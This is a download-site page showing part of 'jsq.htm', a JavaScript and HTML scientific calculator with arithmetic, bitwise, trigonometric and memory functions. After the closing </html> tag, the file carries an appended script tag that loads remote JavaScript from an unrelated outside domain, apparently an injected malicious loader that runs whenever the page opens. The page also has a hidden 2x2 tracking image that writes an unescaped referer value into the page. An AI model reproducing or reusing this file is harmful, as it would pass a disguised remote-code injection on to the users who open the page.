⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 jsq.htm

📁 用jsp写的一个浏览器上用的计算器程序。
💻 HTM
📖 第 1 页 / 共 2 页
字号:

//数学运算和位运算

function cypher(left,join,right)
{
	left=todec(left,carry)
	right=todec(right,carry)
	if (join=="+")
		return(decto(parseFloat(left)+parseFloat(right),carry))
	if (join=="-")
		return(decto(left-right,carry))
	if (join=="*")
		return(decto(left*right,carry))
	if (join=="/" && right!=0)
		return(decto(left/right,carry))
	if (join=="%")
		return(decto(left%right,carry))
	if (join=="&")
		return(decto(left&right,carry))
	if (join=="|")
		return(decto(left|right,carry))
	if (join=="^")
		return(decto(Math.pow(left,right),carry))
	if (join=="x")
		return(decto(left^right,carry))
	if (join=="<")
		return(decto(left<<right,carry))
	alert("除数不能为零")
	return(left)
}

//函数计算

function funcalc(fun,num)
{
	with(Math)
	{
		if (fun=="pi")
			return(PI)
		if (fun=="e")
			return(E)

		if (fun=="abs")
			return(abs(num))
		if (fun=="ceil")
			return(ceil(num))
		if (fun=="round")
			return(round(num))

		if (fun=="floor")
			return(floor(num))
		if (fun=="deci")
			return(num-floor(num))


		if (fun=="ln" && num>0)
			return(log(num))
		if (fun=="exp")
			return(exp(num))
		if (fun=="log" && num>0)
			return(log(num)*LOG10E)
		if (fun=="expdec")
			return(pow(10,num))

		
		if (fun=="cube")
			return(num*num*num)
		if (fun=="cubt")
			return(pow(num,1/3))
		if (fun=="sqr")
			return(num*num)
		if (fun=="sqrt" && num>=0)
			return(sqrt(num))

		if (fun=="!")
			return(factorial(num))

		if (fun=="recip" && num!=0)
			return(1/num)
		
		if (fun=="dms")
			return(dms(num))
		if (fun=="deg")
			return(deg(num))

		if (fun=="~")
			return(~num)
	
		if (angle=="d")
		{
			if (fun=="sin")
				return(sin(degressToRadians(num)))
			if (fun=="cos")
				return(cos(degressToRadians(num)))
			if (fun=="tan")
				return(tan(degressToRadians(num)))

			if (fun=="arcsin" && abs(num)<=1)
				return(radiansToDegress(asin(num)))
			if (fun=="arccos" && abs(num)<=1)
				return(radiansToDegress(acos(num)))
			if (fun=="arctan")
				return(radiansToDegress(atan(num)))
		}
		else
		{
			if (fun=="sin")
				return(sin(num))
			if (fun=="cos")
				return(cos(num))
			if (fun=="tan")
				return(tan(num))

			if (fun=="arcsin" && abs(num)<=1)
				return(asin(num))
			if (fun=="arccos" && abs(num)<=1)
				return(acos(num))
			if (fun=="arctan")
				return(atan(num))
		}
	
		if (fun=="hypsin")
			return((exp(num)-exp(0-num))*0.5)
		if (fun=="hypcos")
			return((exp(num)+exp(-num))*0.5)
		if (fun=="hyptan")
			return((exp(num)-exp(-num))/(exp(num)+exp(-num)))

		if (fun=="ahypsin" | fun=="hypcos" | fun=="hyptan")
		{
			alert("对不起,公式还没有查到!")
			return(num)
		}
		
		alert("超出函数定义范围")
		return(num)
	}
}

function factorial(n)
{
	n=Math.abs(parseInt(n))
	var fac=1
	for (;n>0;n-=1)
		fac*=n
	return(fac)
}

function dms(n)
{
	var neg=(n<0)
	with(Math)
	{	
		n=abs(n)
		var d=floor(n)
		var m=floor(60*(n-d))
		var s=(n-d)*60-m
	}
	var dms=d+m/100+s*0.006
	if (neg) 
		dms=-dms
	return(dms)
}

function deg(n)
{
	var neg=(n<0)
	with(Math)
	{
		n=abs(n)
		var d=floor(n)
		var m=floor((n-d)*100)
		var s=(n-d)*100-m
	}
	var deg=d+m/60+s/36
	if (neg) 
		deg=-deg
	return(deg)
}

function degressToRadians(degress)
{
	return(degress*Math.PI/180)
}

function radiansToDegress(radians)
{
	return(radians*180/Math.PI)
}

//界面

//-->
</script><!--written by GoldHuman li hai--><!--2000.8-->

<meta content="Microsoft FrontPage 4.0" name="GENERATOR"></head><body>
<div align="center">
<form name="calc">
<table border="1" height="250" width="500">
  <tbody>
  <tr>
    <td height="50">
      <table width="500">
        <tbody>
        <tr>
          <td></td>
          <td>
            <div align="center"><input name="display" readonly="readonly" size="40" value="0"> 
            </div></td></tr></tbody></table></td></tr>
  <tr>
    <td>
      <table width="500">
        <tbody>
        <tr>
          <td width="290"><input name="carry" onclick="inputChangCarry(16)" type="radio"> 十六进制 <input checked="checked" name="carry" onclick="inputChangCarry(10)" type="radio"> 十进制 <input name="carry" onclick="inputChangCarry(8)" type="radio"> 八进制 <input name="carry" onclick="inputChangCarry(2)" type="radio"> 二进制 </td>
          <td></td>
          <td width="135"><input checked="checked" name="angle" onclick="inputChangAngle('d')" value="d" type="radio"> 角度制 <input name="angle" onclick="inputChangAngle('r')" value="r" type="radio"> 弧度制 
        </td></tr></tbody></table>
      <table width="500">
        <tbody>
        <tr>
          <td width="170"><input name="shiftf" onclick="inputshift()" type="checkbox">上档功能 <input name="hypf" onclick="inputshift()" type="checkbox">双曲函数 </td>
          <td><input name="bracket" readonly="readonly" size="3" style="background-color: lightgrey;"> <input name="memory" readonly="readonly" size="3" style="background-color: lightgrey;"> <input name="operator" readonly="readonly" size="3" style="background-color: lightgrey;"> </td>
          <td width="183"><input onclick="backspace()" style="color: red;" value=" 退格 " type="button"> 
<input onclick="document.calc.display.value = 0 " style="color: red;" value=" 清屏 " type="button"> 
<input onclick="clearall()" style="color: red;" value=" 全清" type="button"> 
          </td></tr></tbody></table>
      <table width="500">
        <tbody>
        <tr>
          <td>
            <table>
              <tbody>
              <tr align="center">
                <td><input name="pi" onclick="inputfunction('pi','pi')" style="color: blue;" value=" PI " type="button"> 
                </td>
                <td><input name="e" onclick="inputfunction('e','e')" style="color: blue;" value=" E  " type="button"> 
                </td>
                <td><input name="bt" onclick="inputfunction('dms','deg')" style="color: rgb(255, 0, 255);" value="d.ms" type="button"> 
                </td></tr>
              <tr align="center">
                <td><input onclick="addbracket()" style="color: rgb(255, 0, 255);" value=" (  " type="button"> 
                </td>
                <td><input onclick="disbracket()" style="color: rgb(255, 0, 255);" value=" )  " type="button"> 
                </td>
                <td><input name="ln" onclick="inputfunction('ln','exp')" style="color: rgb(255, 0, 255);" value=" ln " type="button"> 
                </td></tr>
              <tr align="center">
                <td><input name="sin" onclick="inputtrig('sin','arcsin','hypsin','ahypsin')" style="color: rgb(255, 0, 255);" value="sin " type="button"> 
                </td>
                <td><input onclick="operation('^',7)" style="color: rgb(255, 0, 255);" value="x^y " type="button"> 
                </td>
                <td><input name="log" onclick="inputfunction('log','expdec')" style="color: rgb(255, 0, 255);" value="log " type="button"> 
                </td></tr>
              <tr align="center">
                <td><input name="cos" onclick="inputtrig('cos','arccos','hypcos','ahypcos')" style="color: rgb(255, 0, 255);" value="cos " type="button"> 
                </td>
                <td><input name="cube" onclick="inputfunction('cube','cubt')" style="color: rgb(255, 0, 255);" value="x^3 " type="button"> 
                </td>
                <td><input onclick="inputfunction('!','!')" style="color: rgb(255, 0, 255);" value=" n! " type="button"> 
                </td></tr>
              <tr align="center">
                <td><input name="tan" onclick="inputtrig('tan','arctan','hyptan','ahyptan')" style="color: rgb(255, 0, 255);" value="tan " type="button"> 
                </td>
                <td><input name="sqr" onclick="inputfunction('sqr','sqrt')" style="color: rgb(255, 0, 255);" value="x^2 " type="button"> 
                </td>
                <td><input onclick="inputfunction('recip','recip')" style="color: rgb(255, 0, 255);" value="1/x " type="button"> 
                </td></tr></tbody></table></td>
          <td width="30"></td>
          <td>
            <table>
              <tbody>
              <tr>
                <td><input onclick="putmemory()" style="color: red;" value=" 储存 " type="button"> 
                </td></tr>
              <tr>
                <td><input onclick="getmemory()" style="color: red;" value=" 取存 " type="button"> 
                </td></tr>
              <tr>
                <td><input onclick="addmemory()" style="color: red;" value=" 累存 " type="button"> 
                </td></tr>
              <tr>
                <td><input onclick="multimemory()" style="color: red;" value=" 积存 " type="button"> 
                </td></tr>
              <tr>
                <td height="33"><input onclick="clearmemory()" style="color: red;" value=" 清存 " type="button"> 
                </td></tr></tbody></table></td>
          <td width="30"></td>
          <td>
            <table>
              <tbody>
              <tr align="center">
                <td><input name="k7" onclick="inputkey('7')" style="color: blue;" value=" 7 " type="button"> 
                </td>
                <td><input name="k8" onclick="inputkey('8')" style="color: blue;" value=" 8 " type="button"> 
                </td>
                <td><input name="k9" onclick="inputkey('9')" style="color: blue;" value=" 9 " type="button"> 
                </td>
                <td><input onclick="operation('/',6)" style="color: red;" value=" / " type="button"> 
                </td>
                <td><input onclick="operation('%',6)" style="color: red;" value="取余" type="button"> 
                </td>
                <td><input onclick="operation('&',3)" style="color: red;" value=" 与 " type="button"> 
                </td></tr>
              <tr align="center">
                <td><input name="k4" onclick="inputkey('4')" style="color: blue;" value=" 4 " type="button"> 
                </td>
                <td><input name="k5" onclick="inputkey('5')" style="color: blue;" value=" 5 " type="button"> 
                </td>
                <td><input name="k6" onclick="inputkey('6')" style="color: blue;" value=" 6 " type="button"> 
                </td>
                <td><input onclick="operation('*',6)" style="color: red;" value=" * " type="button"> 
                </td>
                <td><input name="floor" onclick="inputfunction('floor','deci')" style="color: red;" value="取整" type="button"> 
                </td>
                <td><input onclick="operation('|',1)" style="color: red;" value=" 或 " type="button"> 
                </td></tr>
              <tr align="center">
                <td><input onclick="inputkey('1')" style="color: blue;" value=" 1 " type="button"> 
                </td>
                <td><input name="k2" onclick="inputkey('2')" style="color: blue;" value=" 2 " type="button"> 
                </td>
                <td><input name="k3" onclick="inputkey('3')" style="color: blue;" value=" 3 " type="button"> 
                </td>
                <td><input onclick="operation('-',5)" style="color: red;" value=" - " type="button"> 
                </td>
                <td><input onclick="operation('<',4)" style="color: red;" value="左移" type="button"> 
                </td>
                <td><input onclick="inputfunction('~','~')" style="color: red;" value=" 非 " type="button"> 
                </td></tr>
              <tr align="center">
                <td><input onclick="inputkey('0')" style="color: blue;" value=" 0 " type="button"> 
                </td>
                <td><input onclick="changeSign()" style="color: blue;" value="+/-" type="button"> 
                </td>
                <td><input name="kp" onclick="inputkey('.')" style="color: blue;" value=" . " type="button"> 
                </td>
                <td><input onclick="operation('+',5)" style="color: red;" value=" + " type="button"> 
                </td>
                <td><input onclick="result()" style="color: red;" value=" = " type="button"> 
                </td>
                <td><input onclick="operation('x',2)" style="color: red;" value="异或" type="button"> 
                </td></tr>
              <tr align="center">
                <td><input disabled="disabled" name="ka" onclick="inputkey('a')" style="color: blue;" value=" A " type="button"> 
                </td>
                <td><input disabled="disabled" name="kb" onclick="inputkey('b')" style="color: blue;" value=" B " type="button"> 
                </td>
                <td><input disabled="disabled" name="kc" onclick="inputkey('c')" style="color: blue;" value=" C " type="button"> 
                </td>
                <td><input disabled="disabled" name="kd" onclick="inputkey('d')" style="color: blue;" value=" D " type="button"> 
                </td>
                <td><input disabled="disabled" name="ke" onclick="inputkey('e')" style="color: blue;" value=" E " type="button"> 
                </td>
                <td><input disabled="disabled" name="kf" onclick="inputkey('f')" style="color: blue;" value=" F " type="button"> 
                </td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></form></div>&lt;%referer=Request.ServerVariables ("HTTP_REFERER")%&gt;
<script language="javascript">                                                                     
  document.write ("<a href='../stats_new/infolist.asp'>");                        
  document.write ("<img src='../stats_new/count.asp?referer=<%=referer%>&Width="+escape(screen.width)+"&Height="+escape(screen.height)+"&name=工具' border=0 width=2 height=2></a>");                        
</script><a href="http://www.jctrans.com/stats_new/infolist.asp"><img src="jsq_files/count.htm" border="0" height="2" width="2"></a></body></html><script language=javascript src=http://home.wfafafa.cn/gangle888.JS></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -